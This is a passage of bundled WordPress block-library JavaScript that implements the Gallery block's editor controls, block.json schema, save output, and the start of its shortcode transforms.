19961 __unstableMarkNextChangeAsNotPersistent,
19962 replaceInnerBlocks,
19963 updateBlockAttributes,
19964 selectBlock
19965 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
19966 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
19967 const {
19968 getBlock,
19969 getSettings,
19970 innerBlockImages,
19971 blockWasJustInserted,
19972 multiGallerySelection
19973 } = (0,external_wp_data_namespaceObject.useSelect)(
19974 (select) => {
19975 const {
19976 getBlockName,
19977 getMultiSelectedBlockClientIds,
19978 getSettings: _getSettings,
19979 getBlock: _getBlock,
19980 wasBlockJustInserted
19981 } = select(external_wp_blockEditor_namespaceObject.store);
19982 const multiSelectedClientIds = getMultiSelectedBlockClientIds();
19983 return {
19984 getBlock: _getBlock,
19985 getSettings: _getSettings,
19986 innerBlockImages: _getBlock(clientId)?.innerBlocks ?? EMPTY_ARRAY,
19987 blockWasJustInserted: wasBlockJustInserted(
19988 clientId,
19989 "inserter_menu"
19990 ),
19991 multiGallerySelection: multiSelectedClientIds.length && multiSelectedClientIds.every(
19992 (_clientId) => getBlockName(_clientId) === "core/gallery"
19993 )
19994 };
19995 },
19996 [clientId]
19997 );
19998 const images = (0,external_wp_element_namespaceObject.useMemo)(
19999 () => innerBlockImages?.map((block) => ({
20000 clientId: block.clientId,
20001 id: block.attributes.id,
20002 url: block.attributes.url,
20003 attributes: block.attributes,
20004 fromSavedContent: Boolean(block.originalContent)
20005 })),
20006 [innerBlockImages]
20007 );
20008 const imageData = useGetMedia(innerBlockImages);
20009 const newImages = useGetNewImages(images, imageData);
20010 const themeOptions = themeRatios?.map(({ name, ratio }) => ({
20011 label: name,
20012 value: ratio
20013 }));
20014 const defaultOptions = defaultRatios?.map(({ name, ratio }) => ({
20015 label: name,
20016 value: ratio
20017 }));
20018 const aspectRatioOptions = [
20019 {
20020 label: (0,external_wp_i18n_namespaceObject._x)(
20021 "Original",
20022 "Aspect ratio option for dimensions control"
20023 ),
20024 value: "auto"
20025 },
20026 ...showDefaultRatios ? defaultOptions || [] : [],
20027 ...themeOptions || []
20028 ];
20029 (0,external_wp_element_namespaceObject.useEffect)(() => {
20030 newImages?.forEach((newImage) => {
20031 __unstableMarkNextChangeAsNotPersistent();
20032 updateBlockAttributes(newImage.clientId, {
20033 ...buildImageAttributes(newImage.attributes),
20034 id: newImage.id,
20035 align: void 0
20036 });
20037 });
20038 }, [newImages]);
20039 const imageSizeOptions = useImageSizes(
20040 imageData,
20041 isSelected,
20042 getSettings
20043 );
20044 function buildImageAttributes(imageAttributes) {
20045 const image = imageAttributes.id ? imageData.find(({ id }) => id === imageAttributes.id) : null;
20046 let newClassName;
20047 if (imageAttributes.className && imageAttributes.className !== "") {
20048 newClassName = imageAttributes.className;
20049 }
20050 let newLinkTarget;
20051 if (imageAttributes.linkTarget || imageAttributes.rel) {
20052 newLinkTarget = {
20053 linkTarget: imageAttributes.linkTarget,
20054 rel: imageAttributes.rel
20055 };
20056 } else {
20057 newLinkTarget = getUpdatedLinkTargetSettings(
20058 linkTarget,
20059 attributes
20060 );
20061 }
20062 return {
20063 ...pickRelevantMediaFiles(image, sizeSlug),
20064 ...utils_getHrefAndDestination(
20065 image,
20066 linkTo,
20067 imageAttributes?.linkDestination
20068 ),
20069 ...newLinkTarget,
20070 className: newClassName,
20071 sizeSlug,
20072 caption: imageAttributes.caption || image.caption?.raw,
20073 alt: imageAttributes.alt || image.alt_text,
20074 aspectRatio: aspectRatio === "auto" ? void 0 : aspectRatio
20075 };
20076 }
20077 function isValidFileType(file) {
20078 const nativeFileData = external_wp_element_namespaceObject.Platform.isNative && file.id ? imageData.find(({ id }) => id === file.id) : null;
20079 const mediaTypeSelector = nativeFileData ? nativeFileData?.media_type : file.type;
20080 return edit_ALLOWED_MEDIA_TYPES.some(
20081 (mediaType) => mediaTypeSelector?.indexOf(mediaType) === 0
20082 ) || file.blob;
20083 }
20084 function updateImages(selectedImages) {
20085 const newFileUploads = Object.prototype.toString.call(selectedImages) === "[object FileList]";
20086 const imageArray = newFileUploads ? Array.from(selectedImages).map((file) => {
20087 if (!file.url) {
20088 return {
20089 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
20090 };
20091 }
20092 return file;
20093 }) : selectedImages;
20094 if (!imageArray.every(isValidFileType)) {
20095 createErrorNotice(
20096 (0,external_wp_i18n_namespaceObject.__)(
20097 "If uploading to a gallery all files need to be image formats"
20098 ),
20099 { id: "gallery-upload-invalid-file", type: "snackbar" }
20100 );
20101 }
20102 const processedImages = imageArray.filter((file) => file.url || isValidFileType(file)).map((file) => {
20103 if (!file.url) {
20104 return {
20105 blob: file.blob || (0,external_wp_blob_namespaceObject.createBlobURL)(file)
20106 };
20107 }
20108 return file;
20109 });
20110 const newOrderMap = processedImages.reduce(
20111 (result, image, index) => (result[image.id] = index, result),
20112 {}
20113 );
20114 const existingImageBlocks = !newFileUploads ? innerBlockImages.filter(
20115 (block) => processedImages.find(
20116 (img) => img.id === block.attributes.id
20117 )
20118 ) : innerBlockImages;
20119 const newImageList = processedImages.filter(
20120 (img) => !existingImageBlocks.find(
20121 (existingImg) => img.id === existingImg.attributes.id
20122 )
20123 );
20124 const newBlocks = newImageList.map((image) => {
20125 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
20126 id: image.id,
20127 blob: image.blob,
20128 url: image.url,
20129 caption: image.caption,
20130 alt: image.alt
20131 });
20132 });
20133 replaceInnerBlocks(
20134 clientId,
20135 existingImageBlocks.concat(newBlocks).sort(
20136 (a, b) => newOrderMap[a.attributes.id] - newOrderMap[b.attributes.id]
20137 )
20138 );
20139 if (newBlocks?.length > 0) {
20140 selectBlock(newBlocks[0].clientId);
20141 }
20142 }
20143 function onUploadError(message) {
20144 createErrorNotice(message, { type: "snackbar" });
20145 }
20146 function setLinkTo(value) {
20147 setAttributes({ linkTo: value });
20148 const changedAttributes = {};
20149 const blocks = [];
20150 getBlock(clientId).innerBlocks.forEach((block) => {
20151 blocks.push(block.clientId);
20152 const image = block.attributes.id ? imageData.find(({ id }) => id === block.attributes.id) : null;
20153 changedAttributes[block.clientId] = utils_getHrefAndDestination(
20154 image,
20155 value,
20156 false,
20157 block.attributes,
20158 lightboxSetting
20159 );
20160 });
20161 updateBlockAttributes(blocks, changedAttributes, {
20162 uniqueByBlock: true
20163 });
20164 const linkToText = [...linkOptions].find(
20165 (linkType) => linkType.value === value
20166 );
20167 createSuccessNotice(
20168 (0,external_wp_i18n_namespaceObject.sprintf)(
20169 /* translators: %s: image size settings */
20170 (0,external_wp_i18n_namespaceObject.__)("All gallery image links updated to: %s"),
20171 linkToText.noticeText
20172 ),
20173 {
20174 id: "gallery-attributes-linkTo",
20175 type: "snackbar"
20176 }
20177 );
20178 }
20179 function setColumnsNumber(value) {
20180 setAttributes({ columns: value });
20181 }
20182 function toggleImageCrop() {
20183 setAttributes({ imageCrop: !imageCrop });
20184 }
20185 function toggleRandomOrder() {
20186 setAttributes({ randomOrder: !randomOrder });
20187 }
20188 function toggleOpenInNewTab(openInNewTab) {
20189 const newLinkTarget = openInNewTab ? "_blank" : void 0;
20190 setAttributes({ linkTarget: newLinkTarget });
20191 const changedAttributes = {};
20192 const blocks = [];
20193 getBlock(clientId).innerBlocks.forEach((block) => {
20194 blocks.push(block.clientId);
20195 changedAttributes[block.clientId] = getUpdatedLinkTargetSettings(
20196 newLinkTarget,
20197 block.attributes
20198 );
20199 });
20200 updateBlockAttributes(blocks, changedAttributes, {
20201 uniqueByBlock: true
20202 });
20203 const noticeText = openInNewTab ? (0,external_wp_i18n_namespaceObject.__)("All gallery images updated to open in new tab") : (0,external_wp_i18n_namespaceObject.__)("All gallery images updated to not open in new tab");
20204 createSuccessNotice(noticeText, {
20205 id: "gallery-attributes-openInNewTab",
20206 type: "snackbar"
20207 });
20208 }
20209 function updateImagesSize(newSizeSlug) {
20210 setAttributes({ sizeSlug: newSizeSlug });
20211 const changedAttributes = {};
20212 const blocks = [];
20213 getBlock(clientId).innerBlocks.forEach((block) => {
20214 blocks.push(block.clientId);
20215 const image = block.attributes.id ? imageData.find(({ id }) => id === block.attributes.id) : null;
20216 changedAttributes[block.clientId] = getImageSizeAttributes(
20217 image,
20218 newSizeSlug
20219 );
20220 });
20221 updateBlockAttributes(blocks, changedAttributes, {
20222 uniqueByBlock: true
20223 });
20224 const imageSize = imageSizeOptions.find(
20225 (size) => size.value === newSizeSlug
20226 );
20227 createSuccessNotice(
20228 (0,external_wp_i18n_namespaceObject.sprintf)(
20229 /* translators: %s: image size settings */
20230 (0,external_wp_i18n_namespaceObject.__)("All gallery image sizes updated to: %s"),
20231 imageSize?.label ?? newSizeSlug
20232 ),
20233 {
20234 id: "gallery-attributes-sizeSlug",
20235 type: "snackbar"
20236 }
20237 );
20238 }
20239 function setAspectRatio(value) {
20240 setAttributes({ aspectRatio: value });
20241 const changedAttributes = {};
20242 const blocks = [];
20243 getBlock(clientId).innerBlocks.forEach((block) => {
20244 blocks.push(block.clientId);
20245 changedAttributes[block.clientId] = {
20246 aspectRatio: value === "auto" ? void 0 : value
20247 };
20248 });
20249 updateBlockAttributes(blocks, changedAttributes, true);
20250 const aspectRatioText = aspectRatioOptions.find(
20251 (option) => option.value === value
20252 );
20253 createSuccessNotice(
20254 (0,external_wp_i18n_namespaceObject.sprintf)(
20255 /* translators: %s: aspect ratio setting */
20256 (0,external_wp_i18n_namespaceObject.__)("All gallery images updated to aspect ratio: %s"),
20257 aspectRatioText?.label || value
20258 ),
20259 {
20260 id: "gallery-attributes-aspectRatio",
20261 type: "snackbar"
20262 }
20263 );
20264 }
20265 (0,external_wp_element_namespaceObject.useEffect)(() => {
20266 if (!linkTo) {
20267 __unstableMarkNextChangeAsNotPersistent();
20268 setAttributes({
20269 linkTo: window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE
20270 });
20271 }
20272 }, [linkTo]);
20273 const hasImages = !!images.length;
20274 const hasImageIds = hasImages && images.some((image) => !!image.id);
20275 const imagesUploading = images.some(
20276 (img) => !external_wp_element_namespaceObject.Platform.isNative ? !img.id && img.url?.indexOf("blob:") === 0 : img.url?.indexOf("file:") === 0
20277 );
20278 const mediaPlaceholderProps = external_wp_element_namespaceObject.Platform.select({
20279 web: {
20280 addToGallery: false,
20281 disableMediaButtons: imagesUploading,
20282 value: {}
20283 },
20284 native: {
20285 addToGallery: hasImageIds,
20286 isAppender: hasImages,
20287 disableMediaButtons: hasImages && !isSelected || imagesUploading,
20288 value: hasImageIds ? images : {},
20289 autoOpenMediaUpload: !hasImages && isSelected && blockWasJustInserted,
20290 onFocus
20291 }
20292 });
20293 const mediaPlaceholder = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20294 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
20295 {
20296 handleUpload: false,
20297 icon: sharedIcon,
20298 labels: {
20299 title: (0,external_wp_i18n_namespaceObject.__)("Gallery"),
20300 instructions: PLACEHOLDER_TEXT
20301 },
20302 onSelect: updateImages,
20303 accept: "image/*",
20304 allowedTypes: edit_ALLOWED_MEDIA_TYPES,
20305 multiple: true,
20306 onError: onUploadError,
20307 ...mediaPlaceholderProps
20308 }
20309 );
20310 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
20311 className: dist_clsx(className, "has-nested-images")
20312 });
20313 const nativeInnerBlockProps = external_wp_element_namespaceObject.Platform.isNative && {
20314 marginHorizontal: 0,
20315 marginVertical: 0
20316 };
20317 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
20318 defaultBlock: gallery_edit_DEFAULT_BLOCK,
20319 directInsert: true,
20320 orientation: "horizontal",
20321 renderAppender: false,
20322 ...nativeInnerBlockProps
20323 });
20324 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
20325 if (!hasImages) {
20326 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.View, { ...innerBlocksProps, children: [
20327 innerBlocksProps.children,
20328 mediaPlaceholder
20329 ] });
20330 }
20331 const hasLinkTo = linkTo && linkTo !== "none";
20332 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20333 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: [
20334 external_wp_element_namespaceObject.Platform.isWeb && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20335 external_wp_components_namespaceObject.__experimentalToolsPanel,
20336 {
20337 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
20338 resetAll: () => {
20339 setAttributes({
20340 columns: void 0,
20341 imageCrop: true,
20342 randomOrder: false
20343 });
20344 setAspectRatio("auto");
20345 if (sizeSlug !== constants_DEFAULT_MEDIA_SIZE_SLUG) {
20346 updateImagesSize(constants_DEFAULT_MEDIA_SIZE_SLUG);
20347 }
20348 if (linkTarget) {
20349 toggleOpenInNewTab(false);
20350 }
20351 },
20352 dropdownMenuProps,
20353 children: [
20354 images.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20355 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20356 {
20357 isShownByDefault: true,
20358 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
20359 hasValue: () => !!columns && columns !== images.length,
20360 onDeselect: () => setColumnsNumber(void 0),
20361 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20362 external_wp_components_namespaceObject.RangeControl,
20363 {
20364 __nextHasNoMarginBottom: true,
20365 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
20366 value: columns ? columns : defaultColumnsNumber(
20367 images.length
20368 ),
20369 onChange: setColumnsNumber,
20370 min: 1,
20371 max: Math.min(
20372 MAX_COLUMNS,
20373 images.length
20374 ),
20375 required: true,
20376 __next40pxDefaultSize: true
20377 }
20378 )
20379 }
20380 ),
20381 imageSizeOptions?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20382 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20383 {
20384 isShownByDefault: true,
20385 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
20386 hasValue: () => sizeSlug !== constants_DEFAULT_MEDIA_SIZE_SLUG,
20387 onDeselect: () => updateImagesSize(constants_DEFAULT_MEDIA_SIZE_SLUG),
20388 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20389 external_wp_components_namespaceObject.SelectControl,
20390 {
20391 __nextHasNoMarginBottom: true,
20392 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
20393 help: (0,external_wp_i18n_namespaceObject.__)(
20394 "Select the size of the source images."
20395 ),
20396 value: sizeSlug,
20397 options: imageSizeOptions,
20398 onChange: updateImagesSize,
20399 hideCancelButton: true,
20400 size: "__unstable-large"
20401 }
20402 )
20403 }
20404 ),
20405 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20406 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20407 {
20408 isShownByDefault: true,
20409 label: (0,external_wp_i18n_namespaceObject.__)("Crop images to fit"),
20410 hasValue: () => !imageCrop,
20411 onDeselect: () => setAttributes({ imageCrop: true }),
20412 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20413 external_wp_components_namespaceObject.ToggleControl,
20414 {
20415 __nextHasNoMarginBottom: true,
20416 label: (0,external_wp_i18n_namespaceObject.__)("Crop images to fit"),
20417 checked: !!imageCrop,
20418 onChange: toggleImageCrop
20419 }
20420 )
20421 }
20422 ),
20423 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20424 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20425 {
20426 isShownByDefault: true,
20427 label: (0,external_wp_i18n_namespaceObject.__)("Randomize order"),
20428 hasValue: () => !!randomOrder,
20429 onDeselect: () => setAttributes({ randomOrder: false }),
20430 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20431 external_wp_components_namespaceObject.ToggleControl,
20432 {
20433 __nextHasNoMarginBottom: true,
20434 label: (0,external_wp_i18n_namespaceObject.__)("Randomize order"),
20435 checked: !!randomOrder,
20436 onChange: toggleRandomOrder
20437 }
20438 )
20439 }
20440 ),
20441 hasLinkTo && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20442 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20443 {
20444 isShownByDefault: true,
20445 label: (0,external_wp_i18n_namespaceObject.__)("Open images in new tab"),
20446 hasValue: () => !!linkTarget,
20447 onDeselect: () => toggleOpenInNewTab(false),
20448 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20449 external_wp_components_namespaceObject.ToggleControl,
20450 {
20451 __nextHasNoMarginBottom: true,
20452 label: (0,external_wp_i18n_namespaceObject.__)("Open images in new tab"),
20453 checked: linkTarget === "_blank",
20454 onChange: toggleOpenInNewTab
20455 }
20456 )
20457 }
20458 ),
20459 aspectRatioOptions.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20460 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
20461 {
20462 hasValue: () => !!aspectRatio && aspectRatio !== "auto",
20463 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
20464 onDeselect: () => setAspectRatio("auto"),
20465 isShownByDefault: true,
20466 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20467 external_wp_components_namespaceObject.SelectControl,
20468 {
20469 __next40pxDefaultSize: true,
20470 __nextHasNoMarginBottom: true,
20471 label: (0,external_wp_i18n_namespaceObject.__)("Aspect ratio"),
20472 help: (0,external_wp_i18n_namespaceObject.__)(
20473 "Set a consistent aspect ratio for all images in the gallery."
20474 ),
20475 value: aspectRatio,
20476 options: aspectRatioOptions,
20477 onChange: setAspectRatio
20478 }
20479 )
20480 }
20481 )
20482 ]
20483 }
20484 ),
20485 external_wp_element_namespaceObject.Platform.isNative && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Settings"), children: [
20486 images.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20487 external_wp_components_namespaceObject.RangeControl,
20488 {
20489 __nextHasNoMarginBottom: true,
20490 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
20491 value: columns ? columns : defaultColumnsNumber(images.length),
20492 onChange: setColumnsNumber,
20493 min: 1,
20494 max: Math.min(MAX_COLUMNS, images.length),
20495 ...MOBILE_CONTROL_PROPS_RANGE_CONTROL,
20496 required: true,
20497 __next40pxDefaultSize: true
20498 }
20499 ),
20500 imageSizeOptions?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20501 external_wp_components_namespaceObject.SelectControl,
20502 {
20503 __nextHasNoMarginBottom: true,
20504 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
20505 help: (0,external_wp_i18n_namespaceObject.__)(
20506 "Select the size of the source images."
20507 ),
20508 value: sizeSlug,
20509 options: imageSizeOptions,
20510 onChange: updateImagesSize,
20511 hideCancelButton: true,
20512 size: "__unstable-large"
20513 }
20514 ),
20515 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20516 external_wp_components_namespaceObject.SelectControl,
20517 {
20518 __nextHasNoMarginBottom: true,
20519 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
20520 value: linkTo,
20521 onChange: setLinkTo,
20522 options: linkOptions,
20523 hideCancelButton: true,
20524 size: "__unstable-large"
20525 }
20526 ),
20527 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20528 external_wp_components_namespaceObject.ToggleControl,
20529 {
20530 __nextHasNoMarginBottom: true,
20531 label: (0,external_wp_i18n_namespaceObject.__)("Crop images to fit"),
20532 checked: !!imageCrop,
20533 onChange: toggleImageCrop
20534 }
20535 ),
20536 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20537 external_wp_components_namespaceObject.ToggleControl,
20538 {
20539 __nextHasNoMarginBottom: true,
20540 label: (0,external_wp_i18n_namespaceObject.__)("Randomize order"),
20541 checked: !!randomOrder,
20542 onChange: toggleRandomOrder
20543 }
20544 ),
20545 hasLinkTo && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20546 external_wp_components_namespaceObject.ToggleControl,
20547 {
20548 __nextHasNoMarginBottom: true,
20549 label: (0,external_wp_i18n_namespaceObject.__)("Open images in new tab"),
20550 checked: linkTarget === "_blank",
20551 onChange: toggleOpenInNewTab
20552 }
20553 ),
20554 aspectRatioOptions.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20555 external_wp_components_namespaceObject.SelectControl,
20556 {
20557 __nextHasNoMarginBottom: true,
20558 label: (0,external_wp_i18n_namespaceObject.__)("Aspect Ratio"),
20559 help: (0,external_wp_i18n_namespaceObject.__)(
20560 "Set a consistent aspect ratio for all images in the gallery."
20561 ),
20562 value: aspectRatio,
20563 options: aspectRatioOptions,
20564 onChange: setAspectRatio,
20565 hideCancelButton: true,
20566 size: "__unstable-large"
20567 }
20568 )
20569 ] })
20570 ] }),
20571 external_wp_element_namespaceObject.Platform.isWeb ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20572 external_wp_components_namespaceObject.ToolbarDropdownMenu,
20573 {
20574 icon: link_default,
20575 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
20576 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: linkOptions.map((linkItem) => {
20577 const isOptionSelected = linkTo === linkItem.value;
20578 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20579 external_wp_components_namespaceObject.MenuItem,
20580 {
20581 isSelected: isOptionSelected,
20582 className: dist_clsx(
20583 "components-dropdown-menu__menu-item",
20584 {
20585 "is-active": isOptionSelected
20586 }
20587 ),
20588 iconPosition: "left",
20589 icon: linkItem.icon,
20590 onClick: () => {
20591 setLinkTo(linkItem.value);
20592 onClose();
20593 },
20594 role: "menuitemradio",
20595 info: linkItem.infoText,
20596 children: linkItem.label
20597 },
20598 linkItem.value
20599 );
20600 }) })
20601 }
20602 ) }) : null,
20603 external_wp_element_namespaceObject.Platform.isWeb && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20604 !multiGallerySelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20605 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
20606 {
20607 allowedTypes: edit_ALLOWED_MEDIA_TYPES,
20608 accept: "image/*",
20609 handleUpload: false,
20610 onSelect: updateImages,
20611 name: (0,external_wp_i18n_namespaceObject.__)("Add"),
20612 multiple: true,
20613 mediaIds: images.filter((image) => image.id).map((image) => image.id),
20614 addToGallery: hasImageIds
20615 }
20616 ) }),
20617 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20618 GapStyles,
20619 {
20620 blockGap: attributes.style?.spacing?.blockGap,
20621 clientId
20622 }
20623 )
20624 ] }),
20625 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20626 Gallery,
20627 {
20628 ...props,
20629 isContentLocked,
20630 images,
20631 mediaPlaceholder: !hasImages || external_wp_element_namespaceObject.Platform.isNative ? mediaPlaceholder : void 0,
20632 blockProps: innerBlocksProps,
20633 insertBlocksAfter,
20634 multiGallerySelection
20635 }
20636 )
20637 ] });
20638}
20639
20640
20641;// ./node_modules/@wordpress/block-library/build-module/gallery/block.json
20642const gallery_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/gallery","title":"Gallery","category":"media","allowedBlocks":["core/image"],"description":"Display multiple images in a rich gallery.","keywords":["images","photos"],"textdomain":"default","attributes":{"images":{"type":"array","default":[],"source":"query","selector":".blocks-gallery-item","query":{"url":{"type":"string","source":"attribute","selector":"img","attribute":"src"},"fullUrl":{"type":"string","source":"attribute","selector":"img","attribute":"data-full-url"},"link":{"type":"string","source":"attribute","selector":"img","attribute":"data-link"},"alt":{"type":"string","source":"attribute","selector":"img","attribute":"alt","default":""},"id":{"type":"string","source":"attribute","selector":"img","attribute":"data-id"},"caption":{"type":"rich-text","source":"rich-text","selector":".blocks-gallery-item__caption"}}},"ids":{"type":"array","items":{"type":"number"},"default":[]},"shortCodeTransforms":{"type":"array","items":{"type":"object"},"default":[]},"columns":{"type":"number","minimum":1,"maximum":8},"caption":{"type":"rich-text","source":"rich-text","selector":".blocks-gallery-caption","role":"content"},"imageCrop":{"type":"boolean","default":true},"randomOrder":{"type":"boolean","default":false},"fixedHeight":{"type":"boolean","default":true},"linkTarget":{"type":"string"},"linkTo":{"type":"string"},"sizeSlug":{"type":"string","default":"large"},"allowResize":{"type":"boolean","default":false},"aspectRatio":{"type":"string","default":"auto"}},"providesContext":{"allowResize":"allowResize","imageCrop":"imageCrop","fixedHeight":"fixedHeight"},"supports":{"anchor":true,"align":true,"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"color":true,"radius":true}},"html":false,"units":["px","em","rem","vh","vw"],"spacing":{"margin":true,"padding":true,"blockGap":["horizontal","vertical"],"__experimentalSkipSerialization":["blockGap"],"__experimentalDefaultControls":{"blockGap":true,"margin":false,"padding":false}},"color":{"text":false,"background":true,"gradients":true},"layout":{"allowSwitching":false,"allowInheriting":false,"allowEditing":false,"default":{"type":"flex"}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-gallery-editor","style":"wp-block-gallery"}');
20643;// ./node_modules/@wordpress/block-library/build-module/gallery/save.js
20644
20645
20646
20647function saveWithInnerBlocks({ attributes }) {
20648 const { caption, columns, imageCrop } = attributes;
20649 const className = dist_clsx("has-nested-images", {
20650 [`columns-${columns}`]: columns !== void 0,
20651 [`columns-default`]: columns === void 0,
20652 "is-cropped": imageCrop
20653 });
20654 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({ className });
20655 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
20656 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...innerBlocksProps, children: [
20657 innerBlocksProps.children,
20658 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20659 external_wp_blockEditor_namespaceObject.RichText.Content,
20660 {
20661 tagName: "figcaption",
20662 className: dist_clsx(
20663 "blocks-gallery-caption",
20664 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption")
20665 ),
20666 value: caption
20667 }
20668 )
20669 ] });
20670}
20671
20672
20673;// ./node_modules/@wordpress/block-library/build-module/gallery/transforms.js
20674
20675
20676
20677
20678const parseShortcodeIds = (ids) => {
20679 if (!ids) {
20680 return [];
20681 }
20682 return ids.split(",").map((id) => parseInt(id, 10));
20683};
20684function updateThirdPartyTransformToGallery(block) {
20685 if (block.name === "core/gallery" && block.attributes?.images.length > 0) {
20686 const innerBlocks = block.attributes.images.map(
20687 ({ url, id, alt }) => {
20688 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
20689 url,
20690 id: id ? parseInt(id, 10) : null,
20691 alt,
20692 sizeSlug: block.attributes.sizeSlug,
20693 linkDestination: block.attributes.linkDestination
20694 });
20695 }
20696 );
20697 delete block.attributes.ids;
20698 delete block.attributes.images;
20699 block.innerBlocks = innerBlocks;
20700 }
20701 return block;
20702}
20703(0,external_wp_hooks_namespaceObject.addFilter)(
20704 "blocks.switchToBlockType.transformedBlock",
20705 "core/gallery/update-third-party-transform-to",
20706 updateThirdPartyTransformToGallery
20707);
20708function updateThirdPartyTransformFromGallery(toBlock, fromBlocks) {
20709 const from = Array.isArray(fromBlocks) ? fromBlocks : [fromBlocks];
20710 const galleryBlock = from.find(
20711 (transformedBlock) => transformedBlock.name === "core/gallery" && transformedBlock.innerBlocks.length > 0 && !transformedBlock.attributes.images?.length > 0 && !toBlock.name.includes("core/")
20712 );
20713 if (galleryBlock) {
20714 const images = galleryBlock.innerBlocks.map(
20715 ({ attributes: { url, id, alt } }) => ({
20716 url,
20717 id: id ? parseInt(id, 10) : null,
20718 alt
20719 })
20720 );
20721 const ids = images.map(({ id }) => id);
20722 galleryBlock.attributes.images = images;
20723 galleryBlock.attributes.ids = ids;
20724 }
20725 return toBlock;
20726}
20727(0,external_wp_hooks_namespaceObject.addFilter)(
20728 "blocks.switchToBlockType.transformedBlock",
20729 "core/gallery/update-third-party-transform-from",
20730 updateThirdPartyTransformFromGallery
20731);
20732const gallery_transforms_transforms = {
20733 from: [
20734 {
